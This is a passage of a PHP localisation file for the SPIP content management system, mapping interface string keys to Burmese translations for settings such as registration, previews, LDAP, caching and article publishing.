'info_option_accepter_visiteurs' => 'ဝင်ရောက်လည်ပတ်သူများအား အများသုံးဝက်ဘ်ဆိုက်မှ မှတ်ပုံတင်ရန်ခွင့်ပြုသည်',
'info_option_faire_suivre' => 'ဖိုရမ်မှပို့လိုက်သော စာများကို ဆောင်းပါးရေးသူများသို့ ထပ်ဆင့်ပို့လိုက်ပါ',
'info_option_ne_pas_accepter_visiteurs' => 'ဝင်ရောက်လည်ပတ်သူမှတ်ပုံတင်ခြင်းကို ငြင်းဆိုသည်',
'info_options_avancees' => 'အဆင့်မြှင့်ရွေးချယ်မှုများ',
'info_ortho_activer' => 'စာလုံးပေါင်းစစ်စနစ်ရလိုသည်',
'info_ortho_desactiver' => 'စာလုံးပေါင်းစစ်စနစ်မရလိုပါ',
'info_ou' => 'သို့မဟုတ်',
'info_page_interdite' => 'တားမြစ်စာမျက်နှာ',
'info_par_nom' => 'အမည်အလိုက်',
'info_par_nombre_article' => 'ဆောင်းပါးများ အမှတ်စဉ်အလိုက်',
'info_par_statut' => 'ရောက်နေသည့် အခြေနေအလိုက်',
'info_par_tri' => '’(@tri@ဖြင့်)’',
'info_passe_trop_court' => 'စကားဝှက်တိုလွန်သည်',
'info_passes_identiques' => 'စကားဝှက်နှစ်ခု မတူညီပါ',
'info_pense_bete_ancien' => 'သင့်အမှတ်သားဟောင်း', # MODIF
'info_plus_cinq_car' => 'အက္ခရာ ငါး လုံးထက်ပို၍',
'info_plus_cinq_car_2' => '(အက္ခရာ ငါး လုံးထက်ပို၍)',
'info_plus_trois_car' => '(အက္ခရာ သုံး လုံးထက်ပို၍)',
'info_popularite' => 'ထင်ပေါ်ကျော်ကြားမှု - @popularite@; ဝင်ရောက်လည်ပတ်သူများ @visites@',
'info_popularite_4' => 'ထင်ပေါ်ကျော်ကြားမှု - @popularite@; ဝင်ရောက်လည်ပတ်သူများ @visites@',
'info_post_scriptum' => 'ပို့စခရစ် (ပရိုဂရမ်ဘာသာစကား)',
'info_post_scriptum_2' => 'ပို့စခရစ် (ပရိုဂရမ်ဘာသာစကား)',
'info_pour' => 'အတွက်',
'info_preview_admin' => 'ကြီးကြပ်သူကသာ နမူနာမြင်ကွင်းကို ကြည့်စေလိုသည်',
'info_preview_comite' => 'စာရေးသူအားလုံး နမူနာမြင်ကွင်းကို ကြည့်စေလိုသည်',
'info_preview_desactive' => 'နမူနာမြင်ကွင်းကို ပိတ်လိုသည်',
'info_preview_texte' => 'ဤဆိုက်ပေါ်ရှိ ဆောင်းပါးများ၊ သတင်းများ အားလုံးကို ကြည့်ရှုနိုင်ပါသည် (ထုတ်ဝေရန် တင်သွင်းပြီး၊ ထုတ်ဝေပြီးသား ဆိုရင်)။ ဤသို့ကြည့်ရှုခွင့်ကို စီမံကြီးကြပ်သူများ အတွက်သီးသန့် ဖြစ်စေလိုပါသလား (သို့) စာရေးသူများ အားလုံးကို ခွင့်ပြုလိုပါသလား (သို့) လုံးဝဥတုံ ပိတ်ထားချင်သလား?',
'info_principaux_correspondants' => 'အဓိကသတင်းထောက်များ',
'info_procedez_par_etape' => 'အဆင့်လိုက်စတင်လုပ်ဆောင်ပါ',
'info_procedure_maj_version' => 'အဆင့်မြှင့်တင် လုပ်ဆောင်မှုသည် SPIP၏ သိုလှောင်မှု မူကွဲအသစ်နှင့် ကိုက်ညီရန် လိုအပ်သည်',
'info_proxy_ok' => 'proxy စမ်းသပ်မှုအောင်မြင်သည်',
'info_ps' => 'စာကြွင်း',
'info_publier' => 'ထုတ်ဝေပါ',
'info_publies' => 'သင့်ဆောင်းပါးများကို အွန်လိုင်တွင်ထုတ်လွင့်သည်',
'info_question_accepter_visiteurs' => 'သင့်ဝက်ဘ်ဆိုက်သို့ ဝင်ရောက်လည်ပတ်သူများကို ကိုယ်ပိုင်နေရာသို့ ဝင်စရာမလိုဘဲ မှတ်ပုံတင်ရန်ခွင့်ပြုထားပါက အောက်ပါရွေးချယ်မှုများကို ပြူလုပ်ပါ',
'info_question_inscription_nouveaux_redacteurs' => 'စာတည်းအသစ်များ မှတ်ပုံတင်ခွင့်ကို အများဆိုင်နေရာမှ လုပ်ဆောင်ခွင့် ပေးလိုပါသလား? သင်ခွင့်ပြုမည်ဆိုလျှင် လာလည်သူများသည်လည်း အလိုအလျှောက် ဖောင်ကိုအသုံးပြု၍ မှတ်ပုံတင်နိုင်မည်ဖြစ်သည်။ သူတို့ဖန်တီးထားသော ဆောင်းပါးများကို တိုက်ရိုက်မွမ်းမံ နိုင်မည်ဖြစ်သဖြင့် နှစ်သက်ပါလိမ့်မည်။<blockquote><i> မှတ်ပုံတင်ခြင်းလုပ်ဆောင်နေစဉ် ကိုယ်ပိုင်ကန့်သတ်နေရာသို့ ဝင်ရောက်နိုင်ရန် လိုအပ်သော အချက်အလက်များကို အလိုအလျှောက်အီးမေးလ်မှ ရောက်လာပါလိမ့်မည်။ တချို့သော ဝက်ဘ်ဝန်ဆောင်မှုလုပ်ငန်းများသည် ဤအလိုအလျှောက် စာပို့ခြင်းကို လက်မခံကြပေ၊ ဤသို့ဖြစ်နေလျှင် ဤစာပို့ခြင်းသည် အဆင်ပြေမည်မဟုတ်ပါ။', # MODIF
'info_question_utilisation_moteur_recherche' => 'SPIP သို့ ရှာဖွေမှုအင်ဂျင်ကို အသုံးပြုချင်ပါသလား။ (စစ်စတမ် အရှိန်ကို မြှင့်တင်၍မရနိုင်ပါ)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'ဝက်ဘ်ဆိုက် ပင်မဇစ်မြစ်',
'info_recharger_page' => 'မိနစ်အနည်းငယ်အတွင်း ဤစာမျက်နှာကို ပြန်ဖွင့်ပါ',
'info_recherche_auteur_a_affiner' => '\\"@cherche_auteur@\\"အတွက်ရလာဒ်များ များလွန်းသည်။ ရှာဖွေမှုကို ပြန်လုပ်ပါ',
'info_recherche_auteur_ok' => 'အချို့စာတည်းများက\\"@cherche_auteur@\\" ကို တွေ့သည်',
'info_recherche_auteur_zero' => ' \\"@cherche_auteur@\\"အတွက် ရလာဒ်မရှိပါ',
'info_recommencer' => 'ပြန်ကြိုးစားပါ',
'info_redacteur_1' => 'Rédacteur',
'info_redacteur_2' => '(<i>ထင်မြင်အကြံပြုခြင်း</i>)ကိုယ်ပိုင်နေရာသို့ရောက်နိုင်သည်',
'info_redacteurs' => 'စာတည်းများ',
'info_redaction_en_cours' => 'တည်းဖြတ်နေဆဲ',
'info_redirection' => 'လမ်းကြောင်းလွဲခြင်း',
'info_refuses' => 'သင့်ဆောင်းပါးကို ငြင်းပယ်သည်',
'info_reglage_ldap' => 'ရွေးချယ်ရန်များ - <b>LDAP တင်သွင်းမှုကို ညှိနေသည်</b>',
'info_renvoi_article' => '<b>လမ်းကြောင်းလွဲခြင်း</b> ဤဆောင်ပါးသည် () သို့လမ်းလွဲနေသည်',
'info_reserve_admin' => 'ကြီးကြပ်သူကသာ ဤလိပ်စာများကို ပြုပြင်မွမ်းမံခွင့်ရှိသည်',
'info_restreindre_rubrique' => 'ကဏ္ဍများ စီမံခန့်ခွဲမှု ကန့်သတ်ချက်',
'info_resultat_recherche' => 'ရှာဖွေမှုရလာဒ်များ',
'info_rubriques' => 'ကဏ္ဍများ',
'info_rubriques_02' => 'ကဏ္ဍများ',
'info_rubriques_trouvees' => 'အပိုင်းကဏ္ဍများကို တွေ့ရသည်',
'info_rubriques_trouvees_dans_texte' => 'အပိုင်းကဏ္ဍများကို တွေ့ရသည်(စာသားထဲတွင်)',
'info_sans_titre' => 'ခေါင်းစဉ်မရှိ',
'info_selection_chemin_acces' => ' အညွှန်းရှိ အောက်ပါအသုံးပြုခွင့်ရအပိုင်းကို <b>ရွေးပါ</b>',
'info_signatures' => 'အမှတ်အသား',
'info_site' => 'ဝက်ဘ်ဆိုက်',
'info_site_2' => 'ဝက်ဘ်ဆိုက်',
'info_site_min' => 'ဝက်ဘ်ဆိုက်',
'info_site_reference_2' => 'ကိုးကားဝက်ဘ်ဆိုက်',
'info_site_web' => 'ဝက်ဘ်ဆိုက်', # MODIF
'info_sites' => 'ဝက်ဘ်ဆိုက်များ',
'info_sites_lies_mot' => 'ဤသော့ချက်စကားလုံးနှင့် သင့်လျော်သော ကိုးကားဝက်ဘ်ဆိုက်များ',
'info_sites_proxy' => 'ကြားခံဆာဗာကို အသုံးပြုနေသည်',
'info_sites_trouves' => 'ဝက်ဘ်ဆိုက်များကို တွေ့သည်',
'info_sites_trouves_dans_texte' => 'ဝက်ဘ်ဆိုက်များကိုတွေ့သည် (စာသားထဲတွင်)',
'info_sous_titre' => 'ခေါင်းစဉ်ခွဲ',
'info_statut_administrateur' => 'ကြီးကြပ်သူ',
'info_statut_auteur' => 'ဤစာရေးသူ၏ အခြေနေ', # MODIF
'info_statut_auteur_a_confirmer' => 'အတည်ပြုရန် မှတ်တမ်းတင်ခြင်း',
'info_statut_auteur_autre' => 'အခြားအခြေနေ',
'info_statut_efface' => 'ဖျက်ပစ်သည်',
'info_statut_redacteur' => 'စာတည်း',
'info_statut_utilisateurs_1' => 'တင်သွင်ထားသောအသုံးပြုသူများဿ သတ်မှတ်မထားသောအခြေနေ',
'info_statut_utilisateurs_2' => 'LDAP လမ်းညွှန်ထဲသို့ ပထမဆုံးအကြိမ် တင်ဆက်သော ပုဂ္ဂိုလ်၏ နေအထားကို ရွေးချယ်ပါ။ နောက်နောင်မှာလည်း အမှုစီတိုင်းပေါ်မူတည်ပြီး စာရေးသူ တယေက်ချင်းစီအတွက် ပြန်လည်မွမ်းမံနိုင်ပါသည်။',
'info_suivi_activite' => 'စာတည်းလုပ်ငန်း နောက်ဆက်တွဲ',
'info_surtitre' => 'ထိပ်စည်းခေါင်းစဉ်',
'info_syndication_integrale_1' => 'သင့်ဝက်ဘ်ဆိုက်တွင် အကျိုးတူဖိုင် (ကြည့်ရန် <a href=\\"@url@\\">@titre@</a>) ကို အခမဲ့ ကြည့်ရှုခွင့်ပေးသည်',
'info_syndication_integrale_2' => 'ဆောင်းပါးတခုလုံး (သို့) အက္ခရာအနည်းငယ်သာပါတဲ့ နမူနာကိုသာ ပို့ချင်ပါသလား',
'info_taille_maximale_vignette' => 'စစ်စတမ်ဖြင့် စာရွက်အကွာအဝေးအကြီးဆုံးကို ပြန်လည်ပြုလုပ်ပါ',
'info_terminer_installation' => 'စတင်ထည့်သွင်းခြင်းစံကို ယခုအဆုံးသတ်နိုင်ပြီ',
'info_texte' => 'စာသား',
'info_texte_explicatif' => 'စာသားရှင်းလင်းချက်',
'info_texte_long' => '(စာသားကရှည်သည်။ ၄င်းတို့ကို အတည်ပြုပြီးလျှင် အဆင်ပြေသလို စီမံဖော်ပြပေးပါလိမ့်မည်)',
'info_texte_message' => 'သင့် မှာကြားချက်ရှိ စာသား', # MODIF
'info_texte_message_02' => 'မှာကြားချက်ရှိ စာသား',
'info_titre' => 'ခေါင်းစဉ်',
'info_total' => 'ပေါင်း',
'info_tous_articles_en_redaction' => 'ဆောင်းပါးအားလုံးကို ပြုလုပ်ဆဲ',
'info_tous_articles_presents' => 'ဤကဏ္ဍတွင် ထုတ်ဝေထားသော ဆောင်းပါးအားလုံး',
'info_tous_les' => 'အမြဲ',
'info_tous_redacteurs' => 'စာတည်းအားလုံးသို့ ကြေငြာချက်များ',
'info_tout_site' => 'လက်ရှိဝက်ဘ်ဆိုက်',
'info_tout_site2' => 'ဤဆောင်းပါးကို ဒီဘာသာသို့ ဘာသာမပြန်ရသေးပါ',
'info_tout_site3' => 'ဤဆောင်းပါးကို ဒီဘာသာသို့ ဘာသာပြန်ပြီးဖြစ် သို့သော် ထပ်မံဖြည့်စွက်ခြင်း ရှိပါသဖြင့် ဘာသာပြန်ခြင်းကိုလည်း ပြန်လည်မွမ်းမံရန် လိုအပ်ပါသည်',
'info_tout_site4' => 'ဤဆောင်းပါးကို ဒီဘာသာသို့ ဘာသာပြန်ပြီးဖြစ်၍ ဘာသာပြန်ကိုလည်း ပြုပြင်မွမ်းမံရန် လိုအပ်သည်',
'info_tout_site5' => 'မူရင်းဆောင်းပါး',
'info_tout_site6' => '<b>သတိပေးချက်</b> မူရင်းဆောင်းပါးများကိုသာ ဖော်ပြပါသည်။ ဘာသာပြန်များသည် မူရင်းနှင့်ရောထွေးနေသည်၊ ၄င်းတို့၏ အခြေနေကို ကာလာက ကိုယ်စားပြုပါသည်',
'info_travail_colaboratif' => 'ဆောင်းပါးများတွင် အလုပ်နှစ်မျိုးလုပ်သည်',
'info_un_article' => 'ဆောင်းပါးတပုဒ်',
'info_un_site' => 'ဝက်ဘ်ဆိုက်တခု,',
'info_une_rubrique' => 'ကဏ္ဍတခု',
'info_une_rubrique_02' => '၁ အခန်းကဏ္ဍ',
'info_url' => 'ဝက်ဘ်ဆိုက်လိပ်စာ',
'info_url_site' => 'ဝက်ဘ်ဆိုက်လိပ်စာ',
'info_urlref' => 'ဆက်နွယ်မှု',
'info_utilisation_spip' => 'SPIP ကို အသုံးပြုရန် အဆင်သင့်ဖြစ်ပြီ',
'info_visites_par_mois' => 'လစဉ်ဖော်ပြချက်',
'info_visiteur_1' => 'ဝက်ဘ်ဆိုက်သို့ ဝင်ရောက်လာလည်သူ',
'info_visiteur_2' => 'အများသုံးဝက်ဘ်ဆိုက်၏',
'info_visiteurs' => 'ဝက်ဘ်ဆိုက်ကို ဝင်ရောက် အလည်လာသူများ',
'info_visiteurs_02' => 'အများသုံးဝက်ဘ်ဆိုက်ကို ဝင်ရောက်လည်ပတ်သူများ',
'install_echec_annonce' => 'ဤစတင်ထည့်သွင်းမှု လုပ်၍မရပါ (သို့) လုပ်ဆောင်မှုမရှိသော ဝက်ဘ်ဆိုက် ရလာဒ်ကိုသာရမည်',
'install_extension_mbstring' => 'SPIP သည် () နှင့်အတူ အလုပ်မလုပ်ပါ',
'install_extension_php_obligatoire' => 'SPIP တွင် php တိုးချဲ့ရန်လိုသည်',
'install_php_version' => 'PHP မူကွဲ @Version@သည် ဟောင်းလွန်းပြီဖြစ်သည် (အနည်းဆုံး = @minimum@)',
'install_select_langue' => 'ဘာသာစကားကိုရွေးချယ်ပါ၊ ထို့နောက် စတင်ထည့်သွင်းခြင်း လုပ်ထုံးလုပ်နည်းများကို စတင်ရန်အတွက် \\"နောက်တခု\\" စာလုံးကိုနှိပ်ပါ',
'intem_redacteur' => 'စာတည်း',
'item_accepter_inscriptions' => 'မှတ်ပုံတင်ခြင်းများကို ခွင့်ပြုသည်',
'item_activer_messages_avertissement' => 'သတိပေးတားမြစ်စာများကို အသက်သွင်းပါ',
'item_administrateur_2' => 'ကြီးကြပ်သူများ',
'item_afficher_calendrier' => 'ပြက္ခဒိန်တွင် ဖော်ပြပါ',
'item_autoriser_documents_joints' => 'ဆောင်းပါးများနှင့် စာရွက်စာတမ်း တွဲခွင့်ပြုသည်',
'item_autoriser_documents_joints_rubriques' => 'အခန်းကဏ္ဍများထဲတွင် စာရွက်စာတမ်းများခွင့်ပြုသည်',
'item_autoriser_syndication_integrale' => 'ပူးတွဲချိတ်ဆက်မှုထဲတွင် ဆောင်းပါးအားလုံးပါဝင်သည်',
'item_choix_administrateurs' => 'ကြီးကြပ်သူများ',
'item_choix_generation_miniature' => 'ပုံများကို အလိုအလျောက် မြင်နိုင်ရန် ပြုလုပ်ပါ',
'item_choix_non_generation_miniature' => 'ပုံများကို မြင်နိုင်အောင်မလုပ်ပါ',
'item_choix_redacteurs' => 'စာတည်းများ',
'item_choix_visiteurs' => 'အများသုံး ဝက်ဘ်ဆိုက်သို့ ဝင်ရောက်လည်ပတ်သူများ',
'item_creer_fichiers_authent' => '.htpasswd ဖိုင်များကို တည်ဆောက်ပါ',
'item_limiter_recherche' => 'သင့်ဝက်ဘ်ဆိုက်ထဲရှိ သတင်းအချက်အလက်များ လာရောက်ရှာဖွေမှုကို ကန့်သတ်ပါ',
'item_login' => 'ဝင်ရောက်ရန်',
'item_mots_cles_association_articles' => 'ဆောင်းပါးများ',
'item_mots_cles_association_rubriques' => 'အခန်းကဏ္ဍများ',
'item_mots_cles_association_sites' => 'ကိုးကား (သို့) အမျိုးအစားတူ ဝက်ဘ်ဆိုက်များ',
'item_non' => 'မဟုတ်',
'item_non_accepter_inscriptions' => 'မှတ်ပုံတင်ခြင်းများကို ခွင့်မပြုပါ',
'item_non_activer_messages_avertissement' => 'သတိပေးတားမြစ်ချက်စာမရှိပါ',
'item_non_afficher_calendrier' => 'ပြက္ခဒိန်တွင် မဖော်ပြပါနှင့်',
'item_non_autoriser_documents_joints' => 'ဆောင်းပါးများထဲရှိ စာရွက်စာတမ်းများ ခွင့်မပြုပါ',
'item_non_autoriser_documents_joints_rubriques' => 'ကဏ္ဍများထဲရှိ စာရွက်စာတမ်းများ ခွင့်မပြုပါ',
'item_non_autoriser_syndication_integrale' => 'နမူနာကိုသာပို့ပါ',
'item_non_creer_fichiers_authent' => 'ဤဖိုင်များကို မတည်ဆောက်ပါနှင့်',
'item_non_gerer_statistiques' => 'စာရင်းအင်းများကို မစီမံပါနှင့်',
'item_non_limiter_recherche' => 'ကိုးကားဝက်ဘ်ဆိုက်မျာတွင် ပါဝင်သည့်အကြောင်းအရာ ရှာဖွေမှုကိုထပ်ချဲ့ပါ',
'item_non_publier_articles' => 'ဆောင်းပါးများ ထုတ်ဝေရမည့် ရက်စွဲမတိုင်မီ မထုတ်ဝေပါနှင့်',
'item_non_utiliser_moteur_recherche' => 'အင်ဂျင်မသုံးပါနှင့်',
'item_nouvel_auteur' => 'စာရေးသူအသစ်',
'item_nouvelle_rubrique' => 'ကဏ္ဍအသစ်',
'item_oui' => 'ဟုတ်ကဲ့',
'item_publier_articles' => 'ဆောင်းပါးများကို ၎င်းတို့ရက်စွဲနှင့် မဟုတ်ဘဲထုတ်ဝေပါ',
'item_reponse_article' => 'ဆောင်းပါးကို စာပြန်ရန်',
'item_utiliser_moteur_recherche' => 'ရှာဖွေမှု အင်ဂျင်ကိုသုံးပါ',
'item_visiteur' => 'ဝက်ဘ်ဆိုက်သို့လာလည်သူ',
// J
'jour_non_connu_nc' => 'အမည်မသိ',
// L
'lien_ajout_destinataire' => 'ဤလက်ခံသူကို ထပ်ထည့်ပါ',
'lien_ajouter_auteur' => 'ဤစာရေးသူကို ထပ်ထည့်ပါ',
'lien_ajouter_participant' => 'ပါဝင်သူတယောက်ထပ်ထည့်ပါ',
'lien_email' => 'လျှပ်စစ်စာပို့စနစ်',
'lien_nom_site' => 'ဝက်ဘ်ဆိုက်အမည်',
'lien_retirer_auteur' => 'စာရေးသူကို ဖျေက်ပစ်ပါ',
'lien_retrait_particpant' => 'ဤပါဝင်သူကို ဖျက်ပစ်ပါ',
'lien_site' => 'ဝက်ဘ်ဆိုက်',
'lien_supprimer_rubrique' => 'ဤကဏ္ဍကို ဖျက်ပစ်ပါ',
'lien_tout_deplier' => 'အကုန်ချဲ့ပါ',
'lien_tout_replier' => 'အားလုံးကို ခေါက်သိမ်းပါ',
'lien_tout_supprimer' => 'အကုန်ဖျက်ပစ်ပါ',
'lien_trier_nom' => 'နာမည်အလိုက်စီပါ',
'lien_trier_nombre_articles' => 'ဆောင်းပါးများအလိုက်စီပါ',
'lien_trier_statut' => 'အဆင့်များအလိုက်စီပါ',
'lien_voir_en_ligne' => 'အွန်လိုင်းတွင်ကြည့်ပါ',
'logo_article' => 'ဆောင်းပါးများ၏လိုဂို', # MODIF
'logo_auteur' => 'စာရေးသူများ၏လိုဂို', # MODIF
'logo_rubrique' => 'အခန်းကဏ္ဍ၏လိုဂို', # MODIF
'logo_site' => 'ဤဝက်ဘ်ဆိုက်၏ လိုဂို', # MODIF
'logo_standard_rubrique' => 'အခန်းကဏ္ဍများအတွက် ဘုံလိုဂို', # MODIF
'logo_survol' => 'HOVERING LOGO', # MODIF
// M
'menu_aide_installation_choix_base' => 'သင့်အချက်အလက် သိုလှောင်မှုကိုရွေးပါ',
'module_fichier_langue' => 'ဘာသာစကားဖိုင်',
'module_raccourci' => 'မာတိကာ',
'module_texte_affiche' => 'စာသားကိုဖော်ပြပါ',
'module_texte_explicatif' => 'သင့်ဝက်ဘ်ဆိုက် ပုံစံများတွင် အတိုကောက်စာလုံးများကို ထည့်သွင်းနိုင်သည်။ ၄င်းတို့က ဘာသာစကားဖိုင်တွင်ရှိသော ဘာသာစကားများဖြင့် အလိုလျောက် ဘာသာပြန်ပေးလိမ့်မည်',
'module_texte_traduction' => 'ဘာသာစကားဖိုင် « @module@ » သည် ရနိုင်သည်',
'mois_non_connu' => 'အမည်မသိ',
// O
'onglet_repartition_actuelle' => 'အခု',
// P
'plugin_etat_developpement' => 'ပြုလုပ်ဆဲ',
'plugin_etat_experimental' => 'စမ်းသပ်သည်',
'plugin_etat_stable' => 'အတည်တကျ',
'plugin_etat_test' => 'စမ်းသပ်ပြီး',
'plugins_liste' => 'ထပ်ပေါင်းပရိုဂရမ်ငယ်စာရင်း',
'protocole_ldap' => 'Protocol မူကွဲ',
// R
'repertoire_plugins' => 'အညွှန်း',
// S
'statut_admin_restreint' => '(ကန့်သတ်ထားသော ကြီးကြပ်သူ)', # MODIF
// T
'taille_cache_image' => 'ရုပ်ပုံများကို SPIP ဖြင့်တိုက်ရိုက်တွက်ချက်၍မရပါ (နမူနာပုံများ, ဂရပ်ဖစ်သို့ ပြောင်းခြင်းများ, စာသားပုံစံထဲတွင် သင်္ချာဖော်မြူလာများ စသည်) @dir@ ထဲရှိ @taille@ ၏ပေါင်းခြင်းကို အညွှန်းတွင်ပြပါ',
'taille_cache_infinie' => 'ဤဆိုက်တွင် အမြန်သုံးမှတ်ဉာဏ်နေရာ အညွှန်းအရွယ်အစားကို ပုံသေသတ်မှတ်ထားခြင်းမရှိပါ',
'taille_cache_maxi' => 'SPIP သည် အမြန်သုံးမှတ်ဉာဏ်နေရာ အညွှန်းအရွယ်စားကို ဒေတာ၏ <b>@octets@</b> ခန့်အထိ ကန့်သတ်နိုင် ရန်ကြိုးစားနေဆဲဖြစ်သည်',
'taille_cache_octets' => 'မှတ်ဉာဏ်၏ လက်ရှိအရွယ်အစားမှာ @octets@ ဖြစ်သည်', # MODIF
'taille_cache_vide' => 'မှတ်ထားချက်မရှိပါ',
'taille_repertoire_cache' => 'မှတ်ဉာဏ်၏ လက်ရှိအရွယ်စား',
'text_article_propose_publication' => 'ဆောင်းပါးကို ထုတ်ဝေရန် ထည့်သွင်းပြီးဖြစ်သည်၊ ဤဆောင်းပါးတွင် ဖိုရမ်မှသင့်အမြင်ကို တင်ပြနိုင်ပါသည်၊ (စာမျက်နှာအောက်တွင်)', # MODIF
'texte_acces_ldap_anonyme_1' => 'အချို့ LDAP ဆာဗာများသည် အမည်မသိသော ဝင်ရောက်မှုကို ခွင့်မပြုပါ။ ဤကိစ္စတွင် သတင်းအချက်အလက်များကို နောက်နောင်တွင် လမ်းညွှန်ထဲ၌ ရှာဖွေမှု ပြုနိုင်ရန် ဆက်သွယ်မှု အမှတ်အသားကို အရင်ဖော်ပြသင့်သည်။ သို့သော် ဖြစ်စဉ်အများစုတွင် အောက်ပါနေရာများကို ဗလာဖြစ်စေနိုင်သည်',
'texte_admin_effacer_01' => 'ဤစေခိုင်းချက်သည် အချက်လက်သိုလှောင်မှုတွင် ပါဝင်သော အကြောင်းအရာ <i>အားလုံး</i> ကို ဖျက်ပစ်ပါ<i>all</i> စီမံကြီးကြပ်သူနှင့် စားတည်းများ ဝင်ရောက်ဆက်သွယ်ရန် အချက်အလက်များ။ ဤအရာကို စီရင်ပြီးရင်တော့ သိုလှောင်မှုအသစ်ကို ဖန်တီးရန်နှင့် စီမံကြီးကြပ်သူများ ပထမဆုံး ဝင်ရောက်နိုင်ရန် SPIP ကိုပြန်လည် ထည့်သွင်းရန်လိုအပ်သည်။',
'texte_adresse_annuaire_1' => '(သင့်လမ်းညွှန်ကို စက်တခုထဲတွင် ထည့်သွင်းထားပါက ဤသို့ပေါ် «localhost»လိမ့်မည်။)',
'texte_ajout_auteur' => 'အောက်ပါစာရေးသူကို ဆောင်းပါးနှင့်ချိတ်ဆက်ပြီးဖြစ်သည်',
'texte_annuaire_ldap_1' => '(LDAP) အညွှန်းကိုအသုံးပြုနိုင်ပါက အောက်ရှိ တင်သွင်းထားသော အသစ်သုံးစွဲသူများကို အလိုအလျောက် အသုံးပြုနိုင်သည်',
'texte_article_statut' => 'ဆောင်းပါးအဆင့်',
'texte_article_virtuel' => 'အရေးကြီးသော ဆောင်းပါး',
'texte_article_virtuel_reference' => '<b>အရေးကြီးသော ဆောင်းပါ</b> သင့် ဆိုက်ရှိကိုးကား ဆောင်းပါးဖြစ်သော်လည်း အခြားဝက်ဘ်ဆိုက်လိပ်စာသို့ လမ်းလွဲနေသည်၊ အထက်ပါဝက်ဘ်ဆိုက်လိပ်စာကို ဖျက်ပစ်ခြင်းဖြင့် ပြန်တည့်နိုင်သည်',
'texte_aucun_resultat_auteur' => '\\"@cherche_auteur@\\"အတွက်ရလာဒ်မရှိပါ',
'texte_auteur_messagerie' => 'ဤဆိုက်သည် ချိတ်ဆက်ထားသော စာတည်းများကို အဆက်မပြတ် စောင့်ကြည့်နိုင်သည်၊ ဤလုပ်ဆောင်ချက်သည် သတင်းစကားများကို ချက်ချင်းဖလှယ်နိုင်ရန် လုပ်ဆောင်ပေးသည်။ ဤစာရင်းထဲတွင် သင့်နာမည် မပါအောင် သင့်မှာရွေးချယ်ခွင့်ရှိသည်။ (သင့်ကိုတခြားသူများမှ မြင်နိုင်မည် မဟုတ်တော့ပါ)',
'texte_auteur_messagerie_1' => 'ဤဝက်ဘ်ဆိုက်က ဆိုက်ပေါ်တွင် ပါဝင်သူများကြား ကိုယ်ပိုင်ဆွေးနွေးမှုအခန်းဖန်တီးရန်နှင့် စာစောင်အပြန်လှန်ပေးပို့ရန် ခွင့်ပြုထားသည်',
'texte_auteurs' => 'စာရေးဆရာများ',
'texte_choix_base_1' => 'သင့်အချက်လက်သိုလှောင်မှုကိုရွေးချယ်ပါ',
'texte_choix_base_2' => 'MySQL ဆာဗာတွင် အချက်လက်သိုလှောင်မှုများ များစွာပါဝင်သည်',
'texte_choix_base_3' => '<b>ရွေးချယ်ရန်</b> အောက်တွင်ဖော်ပြသည်မှာ သင့် အင်တာနက် ဝန်ဆောင်မှုပေးသူမှ အေးထားသော အချက်အလက်များဖြစ်သည်။',
'texte_commande_vider_tables_indexation' => 'ဤလုပ်ဆောင်ချက်သည် ရှာဖွေမှုအင်ဂျင်အတွက် စာညွှန်းများသိမ်းဆည်းမှုကို ပယ်ဖျက်မည်။ သင့်ကိုလည်း နေရာအလွတ်ပိုမိုရရှိစေမည်။',
'texte_compresse_ou_non' => '(ချုံ့ရန်သို့ မချုံ့ရန်)',
'texte_compte_element' => '@count@ အက္ခရာစဉ်',
'texte_compte_elements' => '@count@ အက္ခရာစဉ်',
'texte_connexion_mysql' => 'သင့်ဝက်ဘ်ဆိုက် MySQLနှင့် ဆက်သွယ်မှု ခွင့်ပြုထားလ္ခင် အချက်လက်များကို MySQL ဝက်ဘ်ဆာဗာမှ ပေးထားပြီး ဖြစ်ပါလိမ့်မည်', # MODIF
'texte_contenu_article' => '(ဆောင်းပါး မာတိကာ အကျဉ်းချုံး)',
'texte_contenu_articles' => 'ဝက်ဘ်ဆိုက် အခင်းကျင်းပေါ်မူတည်၍ ဆောင်းပါးအမျိုးအစား သုံးသင့်။ မသင့်ရွေးချယ်ပါ၊ အောက်ပါ အမျိုးအစားများကို အသုံးပြုနိုင်ပါသည်',
'texte_crash_base' => 'အကယ်၍ သင့်အချက်လက်သိုလှောင်မှု ပျက်စီးသွားပါက အလိုလျောက် ပြန်လည်သိုလှောင်ရန်အတွက် ကြိုးစားနိုင်ပါသည်',
'texte_creer_rubrique' => 'ဆောင်းပါးများကို ရေးသား၍မရမီ<br />အခန်းကဏ္ဍကို အရင်တည်ဆောက်ပါ',
'texte_date_creation_article' => 'ဆောင်းပါးဖန်တီးသည့် ရက်စွဲ',
'texte_date_publication_anterieure' => 'အရင်ထုတ်ဝေသည့် ရက်စွဲ',
'texte_date_publication_anterieure_nonaffichee' => 'အရင်ထုတ်ဝေသည့် ဆောင်းပါးကို ဖျောက်ထားပါ',
'texte_date_publication_article' => 'အွန်လိုင်းထုတ်ဝေမှုရက်စွဲ',
'texte_descriptif_petition' => 'တောင်းဆိုမှုဖော်ပြချက်',
'texte_descriptif_rapide' => 'အကျဉ်းချုပ်ဖော်ပြချက်',
'texte_effacer_base' => 'SPIP အချက်လက်သိုလှောင်မှုကို ဖျက်ပစ်ပါ',
'texte_effacer_donnees_indexation' => 'စာညွှန်းကိုဖျက်ပစ်ပါ',
'texte_en_cours_validation' => 'အောက်ပါဆောင်းပါးများနှင့် သတင်းများသည် ထုတ်ဝေရန်ထည့်သွင်းပြီးဖြစ်ပါသည်၊ ၎င်းတွင် ဖိုရမ်များတွဲ၍ သင့်အမြင်ကိုပေးရန်', # MODIF
'texte_enrichir_mise_a_jour' => '«typographical shortcuts»ကိုအသုံးပြုပြီးသင့်စာသားအခင်းအကျင်းကို ပိုကောင်းအောင်ပြုလုပ်နိုင်ပါသည်',
